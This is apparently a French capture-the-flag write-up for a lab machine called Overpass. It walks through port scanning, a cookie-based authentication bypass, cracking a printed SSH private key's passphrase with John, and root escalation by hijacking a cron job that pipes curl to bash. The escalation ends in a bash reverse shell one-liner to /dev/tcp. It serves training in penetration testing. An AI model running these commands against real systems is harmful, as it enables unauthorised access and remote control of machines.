Over Pass

// easy room //

Scanning

- nmap -T4 -sS -sV -Pn -p- 10.10.121.137 | tee nmap.txt

  PORT STATE SERVICE VERSION
  22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
  80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)

Enumération

- gobuster dir -u http://10.10.121.137 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -x html,js,php,txt,zip

:80

```
/404.html              (Status: 200) [Size: 782]
/aboutus               (Status: 301) [Size: 0] [--> aboutus/]
/admin                 (Status: 301) [Size: 42] [--> /admin/]
```

```
/admin.html           (Status: 200) [Size: 1525]
/cookie.js            (Status: 200) [Size: 1502]
/css                  (Status: 301) [Size: 0] [--> css/]
/downloads            (Status: 301) [Size: 0] [--> downloads/]
/img                  (Status: 301) [Size: 0] [--> img/]
/index.html           (Status: 301) [Size: 0] [--> ./]
/login.js             (Status: 200) [Size: 1779]
/main.js              (Status: 200) [Size: 28]
```

Exploitation

login.js

```
async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
```

Ce qui nous intéresse là, c'est le :

-
  ```
  } else {
    Cookies.set("SessionToken",statusOrCookie)
    window.location = "/admin"
  ```

🔐 *Faille d'authentification par contournement de cookie*
aussi appelée "Broken Authentication - Insecure Cookie Handling".

L'application web ne valide pas correctement le contenu du cookie.

On set un cookie :

- name :'SessionToken'
- path : '/admin/'

On a ce message :

> **Note**
>
> Since you keep forgetting your password, James, I've set up SSH keys for you.

C'est possiblement l'username

Et une clé SSH :

```
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,9F85D92F34F42626F13A7493AB48F337

LNu5wQBBz7pKZ3cc4TWlxIUuD/opJi1DVpPa06pwiHHhe8Zjw3/v+xnmtS3O+qiN
JHnLS8oUVR6Smosw4pqLGcP3AwKvrzDWtw2ycO7mNdNszwLp3uto7ENdTIbzvJal
73/eUN9kYF0ua9rZC6mwoI2iG6sdlNL4ZqsYY7rrvDxeCZJkgzQGzkB9wKgw1ljT
WDyy8qncljugOIf8QrHoo30Gv+dAMfipTSR43FGBZ/Hha4jDykUXP0PvuFyTbVdv
BMXmr3xuKkB6I6k/jLjqWcLrhPWS0qRJ718G/u8cqYX3oJmM0Oo3jgoXYXxewGSZ
AL5bLQFhZJNGoZ+N5nHOll1OBl1tmsUIRwYK7wT/9kvUiL3rhkBURhVIbj2qiHxR
3KwmS4Dm4AOtoPTIAmVyaKmCWopf6le1+wzZ/UprNCAgeGTlZKX/joruW7ZJuAUf
ABbRLLwFVPMgahrBp6vRfNECSxztbFmXPoVwvWRQ98Z+p8MiOoReb7Jfusy6GvZk
VfW2gpmkAr8yDQynUukoWexPeDHWiSlg1kRJKrQP7GCupvW/r/Yc1RmNTfzT5eeR
OkUOTMqmd3Lj07yELyavlBHrz5FJvzPM3rimRwEsl8GH111D4L5rAKVcusdFcg8P
9BQukWbzVZHbaQtAGVGy0FKJv1WhA+pjTLqwU+c15WF7ENb3Dm5qdUoSSlPzRjze
eaPG5O4U9Fq0ZaYPkMlyJCzRVp43De4KKkyO5FQ+xSxce3FW0b63+8REgYirOGcZ
4TBApY+uz34JXe8jElhrKV9xw/7zG2LokKMnljG2YFIApr99nZFVZs1XOFCCkcM8
GFheoT4yFwrXhU1fjQjW/cR0kbhOv7RfV5x7L36x3ZuCfBdlWkt/h2M5nowjcbYn
exxOuOdqdazTjrXOyRNyOtYF9WPLhLRHapBAkXzvNSOERB3TJca8ydbKsyasdCGy
AIPX52bioBlDhg8DmPApR1C1zRYwT1LEFKt7KKAaogbw3G5raSzB54MQpX6WL+wk
6p7/wOX6WMo1MlkF95M3C7dxPFEspLHfpBxf2qys9MqBsd0rLkXoYR6gpbGbAW58
dPm51MekHD+WeP8oTYGI4PVCS/WF+U90Gty0UmgyI9qfxMVIu1BcmJhzh8gdtT0i
n0Lz5pKY+rLxdUaAA9KVwFsdiXnXjHEE1UwnDqqrvgBuvX6Nux+hfgXi9Bsy68qT
8HiUKTEsukcv/IYHK1s+Uw/H5AWtJsFmWQs3bw+Y4iw+YLZomXA4E7yxPXyfWm4K
4FMg3ng0e4/7HRYJSaXLQOKeNwcf/LW5dipO7DmBjVLsC8eyJ8ujeutP/GcA5l6z
ylqilOgj4+yiS813kNTjCJOwKRsXg2jKbnRa8b7dSRz7aDZVLpJnEy9bhn6a7WtS
49TxToi53ZB14+ougkL4svJyYYIRuQjrUmierXAdmbYF9wimhmLfelrMcofOHRW2
+hL1kHlTtJZU8Zj2Y2Y3hd6yRNJcIgCDrmLbn9C5M0d7g0h2BlFaJIZOYDS6J6Yk
2cWk/Mln7+OhAApAvDBKVM7/LGR9/sVPceEos6HTfBXbmsiV+eoFzUtujtymv8U7
-----END RSA PRIVATE KEY-----
```

SSH james

- nano id_rsa > paste
- chmod 600 id_rsa

  ssh -i id_rsa james@ip

  password :

John

On va craquer le mot de passe avec John :

```
python3 ssh2john.py /root/Over/id_rsa > /root/Over/id_rsa2.hash


john id_rsa2.hash --wordlist=/usr/share/wordlists/rockyou.txt


john id_rsa.hash --show


root@ip-10-10-221-88:~/Over# john id_rsa2.hash --show
Note: This format may emit false positives, so it will keep trying even after finding
a
possible candidate.
/root/Over/id_rsa:james13
```

```
1 password hash cracked, 0 left
```

password : james13

On peut maintenant ssh :

```
root@ip-10-10-221-88:~/Over# ssh -i id_rsa james@10.10.121.137
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)
```

1st Flag

james@overpass-prod:~$ cat user.txt
thm{65c1aaf000506e56996822c6281e6bf7}

Root

J'ai trouvé ceci dans le cron :

```
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
```

On pourait changer le /etc/hosts par notre ip ,

Créer le même d'accès au script et dans ce script là,

un shell : **bash -i >& /dev/tcp/Machine_IP/8080 0>&1**